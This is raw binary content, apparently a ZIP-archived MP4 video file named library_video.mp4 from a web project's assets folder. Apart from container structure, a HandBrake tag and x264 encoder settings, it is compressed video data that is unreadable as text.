PK�y3\?���9�9�'views/features/assets/library_video.mp4nu�[��� ftypmp42isomiso2avc1mp41�moovlmvhd�Ҫ3�Ҫ3�CR@�trak\tkhd�Ҫ3�Ҫ3CR@|�$edtselstCRp%mdia mdhd�Ҫ3�Ҫ3_���U�-hdlrvideVideoHandler�minfvmhd$dinfdrefurl �stbl�stsd�avc1|�HH��4avcCM@(��gM@(��s`-A�A�+��`h��2�pasp stts� stss:aLsdtp    0ctts�p:�p�:�p�:�p�:�p�p:�p�:�p�:�p�:�p�:�p�#(�:�p�:�p�:�p�p#(�p#(�p#(�:�p�#(�p#(�p:�p�:�p�.��p:�p�#(�p:�p�:�p�#(�#(�p#(�:�p�:�p�p#(�p#(�#(�:�p�p#(�#(�#(�p#(�:�p�.��:�p�p.��.��p#(�p#(�#(�#(�p#(�:�p�p:�p�:�p�:�p�p.��:�p�:�p�:�p�:�p�:�p�:�p�:�p�#(�:�p�p.��p:�p�p#(�:�p�:�p�:�p�:�p�:�p�p:�p�.��:�p�:�p�:�p�:�p�:�p�:�p�#(�p:�p�p:�p�:�p�:�p�:�p�p:�p�:�p�.��p:�p�:�p�:�p�p:�p�p:�p�.��#(�:�p�:�p�.��:�p�:�p�#(�:�p�:�p�#(�#(�#(�:�p�#(�p#(�.��:�p�#(�#(�p.��:�p�:�p�p:�p�:�p�#(�p.��#(�.��p:�p�:�p�p.��#(�.��:�p�:�p�:�p�#(�stsc,stsz4Q�5H�!.0�I),�;2t��
��0"

5�"'`%�'�k-��\`%F	4�=�,�	���,�I���6VO:�&#$&KS��`+'l)t�3	���0� �(y���7	�?
�+A�c�Qp����C@�
z�zE	���=
A����!#
n/(��z������@�YX��	��7���c���O�u�%"Y�
m
 w��%!�
�3'
J

�

F

}IO@A%�(
K-�j�'rpf
B��#4�
�)�HV�3#�eP)@�@<

Z}u+�#�#�
7F'�	�f��>���au�z`�;k�8:GWO:� #
�
�~%��'
/;&6�0!�u
J
V"@�
fy[*�[�
�
.IZxN���,qO�g+
K
�0�����Xh=#���i�3uZC��?� 
O

^�gH�;�AQ
!


stco�oudtagmeta!hdlrmdirappl:ilst2�too*dataHandBrake 1.2.0 2018122200freeÁmdat�����E���H��,� �#��x264 - core 157 r2935 545de2f - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=6 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=300 keyint_min=30 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=22.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00�1Ue���Ɩhk[0ۂ��C�p���*�ūHTh+��@%�z�-:mJ��N�f��7�x����cih�M?2jo:�u�n_H��xI'0���f��"�3�}�t��?�O��W�?�JF%_�C���Ms���O���	ƣ]��B���s��+��k���GHD�~h#�3�V�m�Q������0�w�\�/�nd3���z�eh��?�e�725�3�V�™�&�{aF����E����4��g�Y�F�vcm|��5��N�E��],"}�Z�(d�g�K�3�ǔ��]I�֫��8�}��s��!�mV���جE'}���r��φ���} ̐����l�:>g���)�Э�J�|�;}�־������?G���3#�xP�d�	�Kh�y��`l�R�ɌZ�����4����J� ���E?[��q>{d p!�f����̬Ϝl�����eB�>��,kK�U۫�ݵ�w���j1;�E�5�T�[�^�ِf=�l�ՁY�9b���b�tՌ��t���ō��Wu���C"3����#��(��I^�fUa��PI��q�[ؾv��3ܨNF��ĕ�#
|��=Q���?��d*>��GwR��PD�Jp�C��v1��/�Pq�9�u��a
�&�T%�*�TLML$�G����Y�1DM!rP�X�����2�CK�AE�I���H�N���3��)��bܥ�y>A*�ت�?��f���t�ӉJ��->a$��_�ҫ���^��y!3��F�b2�E�W!�k�]��#��6�����!��Z�i����st��&=��D,�k4@b:�
�N���M����b�a0�-M�O��}�S�Z�w����Cӫ�*^��0Ӿ��s=��,��_�X��4d�T��i��Uqt��'.�8'�:s�޴-�wS�
��p�z�P�I~GY@RR��C�^�I@"g�t��؜s�:��6�c�0u�VDz|��Ȯ�
��ޤ_�~�~�F��Q-�#��sC[j���I��ʛ����A�~���#��8�SϢ9PL$ݧ�ĜE��m��E�B#vU�J���T��1B���3z/o�W���a=b*͸<*��e�㒎��"9��X���D�A���p<�v&IH@M�
1r�QK�1<�L���޵������W�u�Y>%!�&Enk�Rgb�G`g�tD�� ?��.�XS��|�o�٪�r
(���Gij���7Ֆ�W�?��Đ�k������R����������g鏈,�ҟ"�
�w:����`����磍��L�h���l+��[�!��\�)貛��q��G @��W�kl���1�l��BU��o���Ml\;��χ�`Z���9yuggџʊ�Xoy�
����K�x;u?N-���ث��)��փ<�1:7������j��Ldf᪲�G�(���h����!��UۗF�P�v���,�X]��D��8%
��r��|����E��
�
{��L��J�Uǹ4��!p�B%�Z����C��M�T�K)_O�*7�?��Ȍn�|�`�Lʿ�_y���H}3�n�S���i��Z�F�����JNJ⭖����qĪ��cY����U'#g�0Ms��e¼�Ӥ��	JJ����!s���uD*P�3JN�����PQ����WckEu1j���+��k��.S\3����5Mk~����xj-��m��j�8��K*̵�Ƃy7�Y�d��%�g�`s�uH�X�[^+��Z���R[������
��^VF�>��Y�2��%���]
����7��0B�O�#)X���%���w]|J-7�`���@�	����Y��ڝk�r<�ÒM۹
'�WY)��D�\k�Y|��a���O0�G@�J�K�I�'�?��r���@�;R"�(�Mi
�G��=��o\���>J(r2e��@�+��x��)�G�bo�����HG'���Hyn92�N��4]Զ]6��0x>�s����e�����	��` ��/'t)d :�5��m��`�V�&����q�i��g�g���hj�Ȫ
����?�f
�0C���t��(�X���5�
�&��U�4I�H4E�쒀���� 
��/^��%?Au!�ܾ���k����k�x��r�>̓�-�D���5��q��~��-eꕱ05��ss��	�&iB%A�S��c��yt������P�d2Щ�߂��3:5����2��D��C��[�l�t��$"�L\��1�Ľpj`w�I�X��O.���@M�Ktw�(
~�(�
|iUr�lK��w�X��]"D������+ٶ�@g�tIc��=�͈?��0���`���iܓ�Lߣ�n
�+����z�!�6�O��W)�A.g
��R�zb��5�N�Ti�'�쮏t���.��-q�:i|����$u��2h�H��&�Q;���)=�vr�B�[�0Te)�`w?*�j=B�C��:�s�1�����Kj��L�9�S+�X֡��'p3�}���d��{n��K��<Z���;Z�;0�����j��E�⅗�F��:��+p^�|/ɥ+�*��r+��$`�������G��P/�N�!RD�z5%9=��d�V"aklbg�<d}�ފ���>�5`�LD��N��~t��7�S)�	OE�x���Wx�x�J��)�م����Q�hY "�4	�2CwC�ӷ��}���s	�TqM�a&��R�i���KT�L#H��Ĥ�ۏ1j
�|�-��="ԯ�v��9�<w؍�~�0AK��a����Yg�6s�@�?�F�Q��$S,۞xxa�������_�r���g�!4�(����/�y��5b��y~^]���j��WO�<6LH��Q�ݻ4�+5h�9�ܝ�4m��.�#��<�i�v�/N���!R�o�o�]mG��f�$�.��Ѯ��C���B�ଌ��5�˱�\-�U(�`���F�E*�P���@���h)M��É��ೀ���Q.r7��Y��sRG��9����$M�(�Ǭҽ���+F,���cP��q�lh�m������Txz�l_���8%���H��O�a�Q����W�ʛ���yH�ԋe��d%�i�1hu`�8�1|N��h�X��%%�\ik�7x[F"��Q~E5l�M���b΋�ԅ�W5
+����[���iK�p�Lj�>�!���]"E[W��&�݌ڈS5n�RG�������8�Ջ?�m�a����Z�US��F/_������(K�'��F1#\�
=~�s�l*+����F�_����ir��?���/��U|&5�[��w��䓸)-,"Y_�+$+ka-�&�$�`������h�L������_@e�S��"�9�8&w�h��AG������ׇ[�_��
7���u�vL`s(��t*
>�q}����pr�r����9|~�I�F���Ɛ��'A�����*LF�m��Lws$���B���ۻ™�em�W�7�v5�l��33�W�j��>�EևkqK%�jtj�n���XO�F\?�󨙢W�c^J�u�7��6�B;`0��cr˒$$3���QK���i,��/�:��$k��sH�l��]JM�)3g��r��N��
A{�8=�,bUI�9��	�~�cV�S%Z<�(OGb�1F�l���[��=n��D�K����4a'�gIlX�s�O���&�GY�T1y��q ���Ma �b�z�V�ΞE�M5]+��i�I���ES��_�
��p�?w���|�vi�1A�aa�٪�Y��NX�d�ѓ�Xd�գ�x���O�-L�C���ޡJX���M����Z\m�(����ݷ�rH8�
�0.���Y�ޘd�	�,),	�L���������O� �r�V�g^V�%�hQ6Q�C�8���_�������񍕌���R�r�s����q��^�8��q繓x��)>�;�n_D���������m�)���a�B�:�	��2�i9��@9Guұ�yC��	�r�!��+�*�I�@��os(�!�����	R��Z,���r�ƙ��eC�t4OfHį�'��J-4�k-cW�'Q�����}{���6_|��.���\Ж�zc��<���-�~�h�ef�S�KDG'��9��/W�5e.�@�GX�)�^�E�IEM)��\I����i�5LVQŢ�b�9O7Zѿn��7!��w'
�=��=z���AhMM#}�D)���D(Be�ّ���w��~�7X��!oMO��"���ka�j�%��+���:�t�}c��g��8t��b+�n�{��b�6;�'�>�a靦���B��t����\Q���}'��P��:�&���w�kt���j��]m{�gt�Yk�<�=�=��x�Gn�q:<I��������"�:������ӤK�Hr#��ϸ��9��N����kW�և�eʹZפW��܉���q�Hs
Px�S�':�-�!���y$�_ca�u̜[�ϧǤ�&��.S�����~��6��<W�
vo��2(�8��Ǵ�`e��sU}o?4��=gu��k�L��˗I���*.�v��Ҳn��b�L�y��T�i�<%`�g#�<�)B܍N�|{$��|�M"x����}l�U*.(x�6R���Β����`�}"k�n�l}}	����K�@aF�D����� ��j�����؋O�,�����\E�8���x9�]�f��):��;�X��e�,��	 ��O�@Ghá��_��Az�DfF�"���{,��-9&H���2U�7/��Ik<�O�{!�8��8>����L%�9�&��f9��>��J5t��P�BhF�(g��˴��[$��h�������]�w�����^ꕨ�h\
�ի�Z�9OC
)��W����,�	5�9�[~�z
lh�)��!����$��^rsS/��p�Z~���|�
R�u96H�ڛ�]����"�%x�Ӓn�A���i���YO�,�u��u�I<z05^2��>ߌԾ7�:h�M�6ٯG�0�RW�	�Yn�<~@t���f��ml�G[���[��{u�{d˖V�N�tH��Rp%�0,n�T��d�S�E�j��7	[��**��>D��}��k��'�:�"1��X�{��o�����!��������G���Ӱ=��_MU��U��kkF+q=���a��H;��lKҰ#Q�������֘��Ȕ�Ll��R�3z�3@��!�Pa�K�y)��
�o������*� ��*����Ct���4j)f;3�j�5n���*o�j;��b�F�0Sg�}�P���x���{k�ĥY�(u�c�\���Z����\��:�C�j�݇����t�#?��X�@�_�):�i��.�a
:`M�"�	��Y ň��N�)nA)%b���Z�<놸[��|���lhK���u:�P`Ũ��Y�F{��/�}�C��g>����F����=��4��D�h@I.Qz�p����#>���V#_O�����aun��G5�4����*>��a����{{I5]U3�z�T���s��Su�͕Ԙ�3�zq�Y�ЮS����U$��t��&_�1�#�IU��}�r+�\�8�̲��Y�B�z}��Z]X�|�ܯz	�^�*��vʺOK���x��H능��)9P�?��l|'�
���(ƛ���v�9P6iE���sY������M�tJ�����A��ox�>�ǁ�&��D�0�?��¥V������Z�J�!M�	�HTnL��O�Ke$��gI.�E޾��w���P�9F�1�>��8���Qt~�\�;l��&0�̈́�gd9�4��ȝ/"dazz;��8�D(���g�2#ax��%��^1������2լ���nUCJ��������+�l���s�������
�?�s���k|>-d�,_�����۱��yOw����+a)�&�
��G�$y�M/��	p��ma%�"�Z�=��W����i|oO#�dZB�QD�j�M��O}��(B�"��3�p`2c�H1$iu��sn��gGÕ|Ҋ�s)A���񴻰�ך
9�+w�5�
y�o���b�N��y�2,�!�C�ɢWL�TnB�Q
2�Z*�NЏ)��p��sY�E�3��._ԑ�B��~�n!m �'�#2�T��PY��
�ő�MW:L��������c�s�Ʈ��_����W=��K?ܡ�;��0.e�l�^V�]t�xkb;q�n�2� 1�	�Њs�>�Y#,X E����
Diަ�5
���qQͼ|
A�I�5���g�1��|�Y
�����2d�ʉ�(�?��&T/�ž�a��~�"�EDslw0�
݅GM	/RH���"�d.���VKf�j�����ex�
���!��1~�2
����S�E7��
�`ty�qE����pp�5�J�	5 ��W�a��M\:�YQK��!<�Eԍ�p'�޶!��{:k����l��>��m12���R"ލ(����E�\x\�9v��^�z�vKNm4zPo��&ɘ��Nc�lg�l�J�Sn���;~��w4\�Ѕdw�p��~�����"mz&N+q�c���I�3/.���6��I���ܹ+%� ��fl74�^��G����}¸��.^�H~)~8�����#
��G�2zv���ېױ\�
�y�U�YNçk��^�c��R�ķ��k�0;�Z�I���L�{��v�;ē7h�}�|M
�K+ݯ|�ioU��Y�V&��pK�4*J2r�R�V�쭚�?ľ�z�q͇�p4i�:��q@ZI?�3-j+��򷂖J�]��7�pYk���B�&�@[
��|�v�̼�M��6:
�yw����>�^?�P� r��DJ�*4*��sMk��B���t�R,�\.�&��ٸاf_�\��+^��VzT������F�3!�(�eM};��v�	r`]�,@-6,��d��Zz2�/p<>FF�`,���+���G*c�N�P2Ú��2�	��0e�/��/��|.����ۊ�O�^�ݩf�n
����@9��K$��U���c�G�����&���6�n�EٛŰ�l�Q஁c��Xm�m��������g��a���5�I���
7�ħ�O�m��n��l����V�!����]�$�@٤�݉�D
������o�Cġ�%�M��"�����U���W�$6`°���A�`q.XN��R9�&$[��	>@�_k?��)G�r^,�trL�v>�Q�Y?4����5gR�N�޸�j�:�6�ſ!�ZSK�+j& ��$�z�M*�H��
J�mֹ�bkF��Hγd��12.%�t�*���XIۃL�iADQ"�@�Q�؊�M!�P�M�UQN�m[�^`e��^�d(�N>��3d@�X��V|W���F+���i�ޫ�\�>EŴpj�G
~z!�mx�<�o��D�-0M%������Ƽp�b�x�i�]����l����ϊ1��́�PN�
if�:ۑ&�Tj&�����JS�6�;;ؠ�X\n@����UA�F{�ע��Y�x�,Sk��>pP�o�I)�-|yr�۹ɵ_�t+{���Uv@ӶZ�i��ax�2E��� �huǜ��k�\[q �0�T��*�Ņ�)��/UT��{����]M]��D�c圬���>oW~�B��������\h�ė�P�n�a�x�;\٧���*@s7�dy��k���ڿE�^9�[��b�7�k޵�
���"ª��Ls�)ܽ�ޞ��iP��T�qЃ��J"C �� �+Ezؽ���:��w�j����X�	�`x�iY��b<ާ�Xz������Q%j�� 5��GY8:���m�&��3M��+�f�&������xh�ym�w=DJt�|!�}���C����+����[��:i����%|�uͲ
V�hU--S�_|�(����(�j�	�sv��h�s�Ss����#�%����g�P�c=H.�g�AV��Ȉx��f!��O�vi�p�4�F��(��]��b$J�c�Td~[���Sb\2J"�<�SS�t�t�cK~A�����^���idek��~�LE�W����k�kl���z��J��IT��M��p��`��
C�ϐ�+L�x�$K=6�8���u���/^P��kp�c�z7,��n�kjXp����j��'cx�.QwA�d������H��]��|�t���VB�*<��c�J�f�6���H�Ļ@���>I$�eͬe�K��&���"�x~`oQX5�H`F���-��W�˫�s��4ul��
X��6��m������e��bf^�	P�:\�R3}B<�M��Pp����g �P+W~4��x6�;�-6�?��\c����x��k�f�5���}L�p�����ӾW;����I�q�!oo��)|�
܂���J�B�br&��A}O��������M8���E��
4Uz���wO 6�<���kau�R�w1I�l˺��j��V�ں��05�[�-��8�޷�0]>-��],��%z�����F3�<�ق��k2dL��/	�j���vf� T(˧e�Yc��K-�X�M��=7J
��&b�io;g^g�#N��J4���������u*>b~l�s��L�7�_��?���!�9���A5.�'� E<�vc4�]�������7Xˁ?��?Gi�3y��}c�*���� �$yC;��B�h��fȐ���C�}�aZs�y5v��R_��G����sؼ+��4�I������n��HE��vݙ,�Z8$��덂�x�\��C�E[����
l[���yW\:��k��n_���N��^�ڦ�K�;�����(/�}��`@l�h��U+�o�	�+��`p@��
؊�-�`X��}Q�.���b	L,�!�Q�.X+s��@%򤲦�E��Ū�75�J�����r��O$4�t����R��c�@K��P����]����l��	�-VxO"�zeM�����idm���9���BW=F�w3@�v�$�S�v�-1�D�ZAU.���)J���s�� )݈��/<֓'|��# O�l(b���7��]^��,���:w���~3�@;&\'Im�LMSY]��3��Uu��$%�9�I3Q[7ɌN�$6!9�pRǸ#���l�xg@�m�ȥ���� &p�އT��=�C��������<9j�:�N�J��tu=��vB���q��Ӣ�����'��\�
6��?��;
�x�C�l����P�r�1c��n:�Oh������x�����
�)=F�UHuiV��a�K!�X�ϋ����l�q���*u$s�c_��������K�`�-�|��� ��c��r�BV��뢠՛uϱ~�<xi�>��;�I�R���a�|�B���%_��
(o�����:Tq�@�M�����*Ul�-a��z�����m�s��<OxF�����2H�Ұ-J��4K�V��2����5���0������NX@��juʗB8��å�N�酘�I�ԏ���
�i�r�e�b�Z|$/���oFuFp�I������@8�����Oأ��u��Qt�z���h���_P��+�;�����F>:��|�f�'�}G�J��R��1�͍<���}�`䢎��Xl��$o^����ݩۭ�2����6�m��Ւ�Әs0?3�]tʭ�ɒ�j�ɋ#*�rR4��l9$b�z;f�~ף��(VmK�Kf��ڿ��N�����E�?��9Ghq�q�̠X{W�%Y��_Q���i�ѻ�1?�t�te�+]��pqs��V��T�_10�%< ��;�̼��%���tr�z�z:�J2f�l��T��?y	?e;do�\���㭲�D�Ƙ�"��J�[���6�qd�T�I�X�S�*v�{7�՗��eN��w��DrmE	->(j&�i����1C�����.���;�8LBD��'��"��8��4�
9��K����!����l	A�����C�HÐ"���g��@�;7�T�]��zOw��S��r
���	a���?���e}�h.n��L�eXZ-q�on��8�u�;$����_�T�Ŷ�/��-6���լH��U�<Dl��1bx�&�*7f�_��l��Ɂ�J��o��Ӷ!��D��=�%�s�A���Xh#hq&H�᳭����2�z��.Kir��\0�'���6=�o�g���:�t�fB+��H�[XJ�%NY�v��"���'TG�<�+��M���|�gr8nTx��~�cfGሱ+�;���ͅ�l8���"��qg=v6����?�+���w
{|3�U�x�"�ЦKX�mI:6���L\K�"�+���h:��FH��?����K��d��J7��/t&!�C�Ł��jw����n��SG��S;dN5Π��xQl��PC#�(z$j���q��Yk�]�T�����1��(�9BqZ��'Q��me�y����lٶ����F
���n9q�'�!Dܶ:����K���m����|\��k��V�+NX�8�n����a�����Nr�?�u�h8ܝT&Y�J�Ŝ���Qbd�tuٷ�®8����Q.��;Op<��f�*$�Z��_�*�:��܉=��A �m�p|��2��R?[3��&���/��bX��T����=�ц�S$���s
*���Š��I��T�O.����婉d�A�N�6�kq���6��hV�X�#{��j�~i,3�q���({�ݤ�9�a����Jgp��.7��o��=����Yd3�q&j�I���I�RH摌;��x�Nm�?Q�^\�#�4L7�B+�H��Bٚ�z��u���L�h�	䫉s27�'!��>�n��s�xE��̘�t��I�����c���;���)QC=�E���
�L�;8�j�_�]�����}!]:w�N��N?��O���_U��˃߈Y0
�����\t�;�xܡ^�g�sy�و��c�Uy�[����Dq��fD�{�Rc-gDN�B"��ױ��� �$�?2�δwהN�m������AӍ��҄F�!O�c��a�yXI�$��Dq!e�/Q��\^�65q���yk:A��ԁѫ��Ъ�mw��>�M؛�?��?0�y��c��<xY��d���|^���v�cG�0v|?��iۆZˉ�V�PV���(d�]sč j�rT��k��+{�<���4gR|=�T{n��YZ���%Q�M�A��/���8L��� c�E�~�O��)�+]}qmz
�Y��jl�ao���	�:Cx�
�$��l�������@��
Wgx�]�K��n$U��\ s���?���
έ��I�$��k~Qm�o�A�ص�i���m��p:]e]��z�UX�Zx�Năv��%F<:I}
>��؝��W��̓��T����-�m���G�JX�4�>Ґ�u��6~Wa���E����;��0zr��=��iꉋM�ҲKϵ9��m��trs*pH6�^jg{�U<��Q���Z��5L��EϞ�m����D��o�����Co�v͐1��i�˲�R��Bx�����1S���̷$�c]r�9a�����
��a�Js�EI��$�)�8�n|U��,ObT
݋|��S��(����G��z��{0iX�{��aa��E������?��ƿ�z����1L5U�Ƈ��RFjk�0������r�'e��c`^��yP�q�8+<Z���7��=�<�q9qe�NS0p�'"u����(w��i��P �,?�Ɏ�"m
�8�Cg��kx:�ز�C(H~δu�h�����x��h��A;�n&1�Ա��0��v�T1��t"���KdM'�s
��c>W�83(��=��T�s��+��m;M،l@
7���A6�/bM�pfh�/o�V�s^H%e� u�v1�Œ`g��"M24�GGb��K֒����\�'�{�P��e�Ef#K��H��;]q�*+��fPy!ɒ�Z�,�Gw�/V�$I�f0f�ͺ���ڕ�k�8����;`���������[�qx�ϣ�*�T�י8#Rp_�x�oV�s�}x���؋�<_w�崇�;_�x�(��MN�+R���IH���Z��F����%�Y!s�J�;f�ў���X��"׆�PuO3z_�YÆ��ϓQS�����{4�Z/���[�ڻ�ߟ��]R��I1��!T<�j�zf��3Ld�L^�\	8��<�ը/��e{3���(_����f��\p�<#A����A�$lW�z0h����M]S4��<<������&�d��P�n)p#^��w��2��s��[w���[��=��ea�L�@ȟ�byүZk�{`�uo-�џzW��ja���O�zAjS�Wt��pK���<�
�������;�e"\�T��mY�����:S��F�IΎ�ƒHA�VQ�e_Pƿ�*I�@��P�.lv��΄x�ur��&��i�tOj�%�l-7	� G�|��BnP�ÿ�Q9�B*
�������S�0�R�lY�nf�{~�v��]��or�m�2M���!ե�[��0�pue[����]*B�9�ڐ���x�C&�K��~�y������5'b>7IŖ�.׬N`��k:��DtRSd��o�F�(��4��f��$>DS�N�D��u�N��@O��>
{W#�	�?K��Q̥4�����^i��4lq��$V��]N�Dø0'�V�B�;,`���@"L7�e9GD���Tk�D���f�d<�8��Z�D��U�k�mygQ�9|I3�%����<�`��T����~L1ь����nR
��X�-":T��/u���~b��m��ŧ���ꡳ�J*��s#����t�R�S���C�ۅ�(ԋ��݆��ot̗�Rd�	�bJ^�[�S�)*k��0�	Ʉ4�ɓ�	�s�k~�g%p�d��c�Ha����z��!rlZh�v�S��<=�2r����������bqLә�j$��L�}�!�
����Z��u�h>gØ3ӣ�w�L#QkIiD1�TO��<�n��.���t�+tjuK�.�_t/?Z���UVY|��~N����"�ɘ�H*�-Un-i5�
�#M]JM:n��O-�*���q��DB�!a@��$�Q�Ȋ6+��HǶ��\|R���a���:i�/�*��#<:ރ\��%�s�X{{D,���qS� ހ�/��_��o����> �����+c��ϵ�WX#-�y��� 6�����.Y�e�$��@�6bi;yʰ�np#�י擬i��5�<�ŵ���ͅ"kl�����|�Xg���&�V]��y�)��a��=AbI�Z;n:`��g�Õ�>x�ꃍ$�@�Č"�P�B�^'���ҵ��ϭ	�?�/����5��W��-�4Or8�{A�l)��~�����|�x���T�h(��FC~&[�g�'�`���t��V�
���+���^�Ձ@9I2l1��]ž����?���0��)6ϙz�E��������{����ږ�����
~4/k�y|8O֠�DӆR-�^��xp6;��;q�G)�zVF]`�'���M0PxJ���{���sG���}c�)��:���/4�n�ф��DK�t�#�D�
�6G��n����=
3�!��iꭇ�ts�i!�\Zù�e�(y͟Fc�O������QV�<,b���G�&�k$��^?�y<��8rs$��ǹ/�������2���q�+	�h`��d�!@1A�Bx�?:!�`	T�e�R�< j���y�]h�����|�#M*�!�n��D�atB�N��V>Nw�q�B�1[�2�p�-XT;�k*��\��%o��~`���'%�`X��D
���cD-��:N�|8`ρ�A�h4��_s� (��XN+i!����&*������pO�ig��(,�H&(X��X���r#�T_�������ϒ���}7���� ��;��y�X��]ᆱ�Duy���n���)]�:I|��K�J!�w�9�A��E,%�"n+�����dʰZv���!*��tB�->�)mr�1�]�(G����B�����d�;C�,��D-�+9P���U�X�'8�5���p���{;��M�?���l ��A��4��_t��VA��kj�0B�~IO�D0Fs�*�����[�gj��X�z����l�ПǨ�����Mq�J$�1ue���xUγ��,`��riJ�$�q;�C�[(�ײ��1T)��Q+:�h:�b����{����%f�A����AY�%ڊjz���䪈����l|E�����J�~Ѓ]h�����^F��&*.3�l���ik�S���`�9M���V��q緪ii��C��΋m�rޡ'#�=Y�5�_�īj�gqSY�f,����&�0.�ߨ��Gkd�,oBo�Q�Buy7+G*�b����j���$��`��8��'F��F��J	���5�>�G�J��8�G�ѽ4T��`HL;�)�^�֗tPW(�oƍ�Pg�Q}-�#[��⟫��o`p��C��"�͹�O�N��a�u���������J|�Ǖr�n�JT��$�������'�0��C�
�D?Q[e�s�P=�\�tcm]]`$���7���&r�ݴҳ^	�[A/����P�����*0�؄0��.z5jS���Q	�ϛ�Ľ���^�=)$��9
,��G��4� ԫW����q�CBRƁt/q��v�c��@�����.�:J5��5Rx�*� �SCqB��x3����CU���\�W��[|��z�f�+�B
N�'I�Y=*Y6��$jNh@B�p4VM�;�Pf�و����C�*��X=�����MR����̀5
�2_�-��|��'�i+�@�
sZ�=���ƿF�f잛<;�����������;'n�B������O�n�SM���܁d��bP7�I�:�%,�`���@��2�\�C�����#x��T���H�XAYLUx�X�^�鹿�������\�i��#p�o�}<���APР0���Ǜ�/����X�����K(>�RqO��?KT0R�SU"���|#pU�^kr��\�5�0�{Rt�`��H���s�F�#�V�pg�Zpќ��k�n�os3_߬9!�8�r��_�k?�Lf�{�6��[އ�=R�����>��v�S��{9<馮�R�:P�G=6
��)�z�M�e^7��<Xx�i)Y�v�
�>�`<���;�C?�+N���?t����>�n��RԪ��m%�
�v!Di󄌴"�Z!�/�|Bȣ\��`�*v�ǫL�w�EuN�M,RlOj]t�~��uH��C�W���籨���72��o����3�>�������.���떘�={��"&ŘtM���'�(]��@E�z���z�l�|�����*���ǡ�#���/��P�+�Ab�M�	����7�2�9`Qb%��4}�l:�D;
��{ŪU:�~B`=���&�@O����"|�0���y���&�Qɐx� w�6L��/NԒ��b�^�B��&��a�'c�b��D���ֵO�1��ԂBP*���aω�6��������y��`�uv}�z�Ϯ�H
�ufg(ݪʹ����Γ�m�]l�Ӿ�h�
�L�t�E2+�q��T�B��o�(I��˘��Q�J�rR)�g&��X��U<GU�?��3���My��x��j޼�WPh�P�-��U�1��gM�ɏ���gKû�`���Q����q²)>��F��P�Ȧ]o����
�Y�%S7�ib|�@ٺe	0�T@�eQsz?�<k�tCO��Dw���~CӨ\�c����%4*^�5n�W��,��Н��d"53�����������l��F&�3��h`�Q��@ �>+j|�(�=�:����̿.���\Z�:z�Ab-Vh@�Dmc)��sͤg7u� D���	@�ޒ�E�d�9�������!$x�� ���8F�m�I82��ؐ:H��L��pʧ�5Jv�T��[�����	D�`���%4`��g�l ��f
tQ�X��Ӟ�vHZ�A��	F�S`��7�~E�)ht�u�ꌔ+[��#Rs�'<���E۶��0W�5CҸn��9%�q���)�'�v;j).�SA�T���A-�fM^jt )�y^*A�ƕX�x�����O���ܟ�b�s�B��b����,J5dB�+�
Ru�=/p�6+��yl=ݓP�x�-��Lǽ�L�/}�W��[���x�v�5���]_�x(G�)��Eo7m�p���@t�\v�)���;C�>��8���@��+Z��u��B���xCF�:9�A�7-*�������D(ȑ<�#-�xv��N�đ�I�vqod��+���V�	�����ϛ�W'��9�!�y+�=�?��A�Ku��:^0Or
�|�M���v����7=Ƀ�VB��PPs�̱��R�+�kF@��I�H��W�9�i���ӣ���3�C�b[��i47��ꯝ�Kը��_��j�ҪWE�9��D<6�kO~E�*Z�r���ܾL���4��A�jh-VɻT�῵%y
Q��nzjJ��H����c�M
�TW)s�u�=�{&H���%s�r���7�ܱKN& z"r������J�<�`���'�ʲugg�n;���uհKh��ȏ�jiO2�IU����#Dg�#V3��8�s��=�1�/^%�ie��W�һ�O��/{
̹3�p)�#_�;9"��~m�'�/eK��Cb"�x�.��~´2��/O��W^of(H��V��s$���P�5�>;٤첷��')�G���A��iD���a����~4y�X� ��^�y���ѽ{%I�?z�@������9*�K�-GkF>����\������F/|�����==�x��>]N��e�L���Z��d�t�B�r;a$6^�*��_��	׬@%*�8��H�,��<��V)�X'���3���|�4`��:���v\��v�_Lcel_I��k��@*��r���au�
"�)p�]��4v�����ƌ㣉�l�� z_�z���}]��S-���(L[L]}`S|���S�Qqw��2_�{���ap�~&��A�ඌ��!'���%��S��Ep�M1Ƿ�zO�ĩvW�bY��w�v}w�Jߘ��B���J�メ`�ŷ1�"�5	��5c
�d���e�
H4#�9u@�� �f�@��|P����S���k_4��,�I��2fҒ�Wl	C��KW�H&j0*������a%M�xt:��V�J%�R�%���<��Dg�ι6<���?I9�?o�;w���VpBOV�{��z�0��2^�Lҁ|�ِ�G]�%���Q�ѽ{�@BrI~�&��xwk�h0u�
��&e�^N��in\��q�Gl�iY/����d���٢y�m��ܺ#���W�Ŀq�$
O�7��o�NJ�,9�6�77�9~đ+p��=�!�"u�#{��OF5�3:��\g杀�ȩZ$�w�3�|N
��,��q��?+�5`]!ܧ�B�Յ$��O�S4���)H��V�>���S��z�2��	lŇ�X��m� A��ra�T$g�;���(]:x�v�Nf���t9�PE\>6�D}J&�-���
�|�� �Q�]�2��4i��*���p'�%acG$�����C��U�w�0B���)tΜ��;L͌Zlv�����8$.89*�9�!�S-�f�[�	x'{��U�;�Y�wlCL��7�b���
z^���YBD�81�����t�VeLs܄��ǫ��*��ǭ�8�ϷL�j�]�2>f;�D���/��5�G��W��mU)Xt����Ha@=؅!�e2�ON�����]E��-G�S���Bb15��	U>2�7�'G�R���TC�珅rjZ�w�V�h��f^d�h{(�����D�y/����N��u��*��{;$��ѣ_q����%�_2ɫ0�OCOg��E0��3kf��z'.	��t�`�ďR��O\qTB7T�_�4Lm��]Q�	7�xh�襭E�K6���*E��,X��f��8���?
S��S	���:�z��A���)J:k�Y3@A	_q���=9�W»Nm�J	����׮&�o��N>q%��&`�ҙV�+��j��r��-i�"ٍ�n]���
��B�g%�S�9��~��U{I����_x��_��2l�Eo[G���G�ɇ��但��\Q ��Qw�������;���aj\��&	��h��(�Z�,ȄFBt�zj3���w_��N4=絮ߙ	$H�+�-�o�7�3�21�%'�
